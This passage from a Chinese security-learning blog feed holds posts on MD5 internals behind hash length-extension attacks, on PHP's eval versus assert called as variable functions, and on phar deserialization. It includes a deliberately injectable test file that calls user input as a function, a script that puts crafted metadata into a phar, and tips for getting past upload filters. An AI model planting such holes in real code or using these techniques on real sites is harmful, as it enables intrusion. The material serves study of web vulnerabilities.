class="cl"&gt;$phar-&amp;gt;stopBuffering();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h4 id="上传phar文件"&gt;&#10; 上传phar文件&lt;a class="heading-anchor" href="#%e4%b8%8a%e4%bc%a0phar%e6%96%87%e4%bb%b6" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;因为对上传文件进行了限制，这里改为.jpg文件上传。&lt;/p&gt;</description></item><item><title>hash长度扩展攻击</title><link>http://blog.foreverwl.top/blog/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/</link><pubDate>Sun, 13 Aug 2023 15:13:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/</guid><description>&lt;h1 id="hash长度扩展攻击"&gt;&#10; hash长度扩展攻击&lt;a class="heading-anchor" href="#hash%e9%95%bf%e5%ba%a6%e6%89%a9%e5%b1%95%e6%94%bb%e5%87%bb" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="hash算法"&gt;&#10; hash算法&lt;a class="heading-anchor" href="#hash%e7%ae%97%e6%b3%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;hash算法又叫散列算法，把任意长度的字符串加密为固定长度的字符串。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="hash算法流程"&gt;&#10; hash算法流程&lt;a class="heading-anchor" href="#hash%e7%ae%97%e6%b3%95%e6%b5%81%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;这里以md5算法进行解释。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="1将数据分组"&gt;&#10; 1.将数据分组&lt;a class="heading-anchor" href="#1%e5%b0%86%e6%95%b0%e6%8d%ae%e5%88%86%e7%bb%84" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;对我们输入的数据进行分组，每64字节为一组，也就是对数据进行取余，余数进行数据填充。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="2填充数据"&gt;&#10; 2.填充数据&lt;a class="heading-anchor" href="#2%e5%a1%ab%e5%85%85%e6%95%b0%e6%8d%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;数据不够64字节，会进行数据填充，填充的第一个字节为hex(80)，这里填充原则为，对二进制，第一位取1，其他后面全部填充0，填充到56字节，这里的hex(80)也就是bin(10000000),填充到56字节。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="3补充长度信息"&gt;&#10; 3.补充长度信息&lt;a class="heading-anchor" href="#3%e8%a1%a5%e5%85%85%e9%95%bf%e5%ba%a6%e4%bf%a1%e6%81%af" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;后面8个字节为对长度进行描述，比如我们输入的数据为10字节，那么对长度的描述第57位填充为dec(10*8bit)-&amp;gt; hex(50)。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="4加密运算"&gt;&#10; 4.加密运算&lt;a class="heading-anchor" href="#4%e5%8a%a0%e5%af%86%e8%bf%90%e7%ae%97" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;这里进行一些列的运算，用每一组的64字节数据对初始向量进行运算，并将运算结果作为下一次运算的初始值，如果没有下一次运算，该结果就是运算的散列值。这里具体运算过程还没进行学习。&lt;/p&gt;&#10;&lt;p&gt;计算时会有一个初始向量，&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A 01 23 45 67 0x67452301&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;B 89 AB CD EF 0xEFCDAB89&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C FE DC BA 98 0x98BADCFE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;D 76 54 32 10 0x10325476&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里0x后面的数据是初始代码，然后与64字节数据进行第一次运算，初始向量被覆盖掉，然后再进行相同的运算，直到最后一步。最后一步的向量经过高低位互换后就是最后的hash值。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;假如最后一轮的运算后的向量值为：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; A=0xabcdef12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; B=0xabcdef12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; C=0xabcdef12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; D=0xabcdef12&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;进行高低位互换之后得到的数值为：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12 ef cd ab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12 ef cd ab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12 ef cd ab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12 ef cd ab&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h3 id="举个例子"&gt;&#10; 举个例子&lt;a class="heading-anchor" href="#%e4%b8%be%e4%b8%aa%e4%be%8b%e5%ad%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;我们对nihao进行md5加密，分析一下流程&#10;首先对nihao进行64取余，不够整除，余数为5，这里对数据进行填充。&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307311524478.png" alt="image-20230731152439453" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307311524478.png" alt="image-20230731152439453"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>php不能以变量函数调用eval</title><link>http://blog.foreverwl.top/blog/php%E4%B8%8D%E8%83%BD%E4%BB%A5%E5%8F%98%E9%87%8F%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8eval/</link><pubDate>Sat, 12 Aug 2023 11:11:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/php%E4%B8%8D%E8%83%BD%E4%BB%A5%E5%8F%98%E9%87%8F%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8eval/</guid><description>&lt;h1 id="php不能以变量函数调用eval"&gt;&#10; php不能以变量函数调用eval&lt;a class="heading-anchor" href="#php%e4%b8%8d%e8%83%bd%e4%bb%a5%e5%8f%98%e9%87%8f%e5%87%bd%e6%95%b0%e8%b0%83%e7%94%a8eval" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="变量函数"&gt;&#10; 变量函数：&lt;a class="heading-anchor" href="#%e5%8f%98%e9%87%8f%e5%87%bd%e6%95%b0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;将一个函数的名称赋值给一个变量，在这个变量后面加上括号就实现了变量函数调用。&lt;/p&gt;&#10;&lt;p&gt;先举一个例子&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;system&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;echo nihao&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eval&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;输出&lt;/span&gt; &lt;span class="nx"&gt;nihao&lt;/span&gt; &lt;span class="nx"&gt;相当于执行了&lt;/span&gt; &lt;span class="nx"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;echo nihao&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再看一个例子&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;system&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;echo nihao&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eval&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;这里运行抛出了异常，相当于&lt;/span&gt; &lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;echo nihao&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里是因为eval在php中并不是一个函数，而是语言结构，也就是不符合变量函数。&lt;/p&gt;&#10;&lt;p&gt;assert在==php7.2==之前是函数。在7.2版本之后也变成了语言结构。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="eval"&gt;&#10; eval:&lt;a class="heading-anchor" href="#eval" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;将字符串当做php代码执行。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="assert"&gt;&#10; assert：&lt;a class="heading-anchor" href="#assert" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;执行有返回值的php代码。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="本地测试"&gt;&#10; 本地测试&lt;a class="heading-anchor" href="#%e6%9c%ac%e5%9c%b0%e6%b5%8b%e8%af%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;highlight_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;__FILE__&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里我使用的php5.6版本。&lt;/p&gt;&#10;&lt;p&gt;先通过eval测试：&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271647101.png" alt="image-20230727164724075" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271647101.png" alt="image-20230727164724075"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;发现没有任何回显。&#10;再通过assert测试一下：&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271647201.png" alt="image-20230727164735163" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271647201.png" alt="image-20230727164735163"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功返回。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h1 id="总结"&gt;&#10; 总结&lt;a class="heading-anchor" href="#%e6%80%bb%e7%bb%93" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&lt;p&gt;之前一直以为eval是一个函数，现在知道了是语法结构。assert在==php7.2==之前是函数。在7.2版本之后也变成了语言结构&lt;/p&gt;</description></item><item><title>phar反序列化</title><link>http://blog.foreverwl.top/blog/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link><pubDate>Fri, 11 Aug 2023 16:21:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid><description>&lt;h1 id="phar反序列化"&gt;&#10; phar反序列化&lt;a class="heading-anchor" href="#phar%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="phar是什么"&gt;&#10; phar是什么&lt;a class="heading-anchor" href="#phar%e6%98%af%e4%bb%80%e4%b9%88" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;像java中的jar一样，它是php中的一种压缩包。它可以存放多个文件，无需解压，php就能够访问并执行内部语句。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="phar构成部分"&gt;&#10; phar构成部分&lt;a class="heading-anchor" href="#phar%e6%9e%84%e6%88%90%e9%83%a8%e5%88%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="stub-phar"&gt;&#10; stub phar&lt;a class="heading-anchor" href="#stub-phar" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;文件标识，也就是php能够通过这个标识来知道他是phar文件，格式为：&#10;xxx&lt;?php xxx; __HALT_COMPILER();?&gt;，前面内容和中间内容不限，但必须以__HALT_COMPILER();结尾，这样php才能够识别是phar文件。&#10;==因为前面的内容不限，在遇到限制文件格式时可以通过这点进行绕过。==&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="manifest"&gt;&#10; manifest&lt;a class="heading-anchor" href="#manifest" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;用于存放压缩文件的权限属性等信息，并且用户自定义的meta-data(元数据)会以序列化的形式存储，这也是phar反序列化的攻击点。这里的meta-data我的理解为我们构造的序列化的数据。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="contents"&gt;&#10; contents&lt;a class="heading-anchor" href="#contents" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;被压缩文件的内容，这里文件名和文件内容随便写。因为我们最好要用到的是序列化后的内容，这里进行反序列化时也不会识别到它，这里看张图：&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271646046.png" alt="image-20230727164643019" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271646046.png" alt="image-20230727164643019"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="signature"&gt;&#10; signature&lt;a class="heading-anchor" href="#signature" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;签名。在文件末尾&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="phar反序列化漏洞成因"&gt;&#10; phar反序列化漏洞成因&lt;a class="heading-anchor" href="#phar%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="前提条件"&gt;&#10; 前提条件&lt;a class="heading-anchor" href="#%e5%89%8d%e6%8f%90%e6%9d%a1%e4%bb%b6" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;1.可以上传文件&#10;2.有文件操作的函数&#10;==因为它本身不能进行反序列化，这里要使用phar协议来访问文件，达到一个反序列化的效果。==&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="phar文件生成"&gt;&#10; phar文件生成&lt;a class="heading-anchor" href="#phar%e6%96%87%e4%bb%b6%e7%94%9f%e6%88%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;这里举个例子说明：&#10;==注意==：要使用phar这个类，php.ini文件的phar.readonly选项要改为Off。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;test&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Phar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;test.phar&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//生成一个phar文件后缀名必须为phar&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;startBuffering&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="c1"&gt;//开始缓冲Phar 写操作&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setStub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//设置stub&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$o&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$o&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hacker&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//将自定义的meta-data存入manifest&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;addFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;test.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;aaa&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//添加要压缩的文件，内容为aaa&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//签名自动计算&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;stopBuffering&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="c1"&gt;//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里在开始创建文件时要$phar-&gt;startBuffering();开始写缓冲，结束时$phar-&amp;gt;stopBuffering();停止写缓冲。&lt;/p&gt;</description></item><item><title>记录</title><link>http://blog.foreverwl.top/blog/%E8%AE%B0%E5%BD%95/</link><pubDate>Thu, 10 Aug 2023 16:57:00 